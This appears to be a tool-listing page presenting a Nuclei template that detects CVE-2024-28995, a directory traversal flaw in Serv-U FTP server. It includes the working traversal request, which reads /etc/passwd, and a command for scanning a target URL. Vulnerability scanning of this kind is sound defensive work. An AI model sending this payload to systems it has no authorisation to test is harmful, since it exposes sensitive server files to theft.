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CVE-2024-28995-Nuclei-Template — Nuclei template for detecting CVE-2024-28995, a directory traversal vulnerability in Serv-U FTP server, enabling file read via crafted HTTP requests. | Kitploit
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CVE-2024-28995-Nuclei-Template

Nuclei template for detecting CVE-2024-28995, a directory traversal vulnerability in Serv-U FTP server, enabling file read via crafted HTTP requests.

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CVE-2024-28995 Nuclei Template

Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.

Template Details

id: CVE-2024-28995

info:
  name: Serv-U Directory Traversal Vulnerability
  author: Hüseyin TINTAŞ
  severity: high
  description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
  reference:
    - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
  tags: pathtraversal,cve,high,serv-u

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:x:"
          - "daemon:x:"
          - "bin:x:"
        part: body

      - type: status
        status:
          - 200

      - type: word
        words:
          - "Server: Serv-U"
        part: header



Usage

To use this template with Nuclei, save the template content into a file named CVE-2024-28995.yaml and run the following command:

nuclei -t CVE-2024-28995.yaml -u <target-url>

Replace <target-url> with the URL of the target you want to scan.

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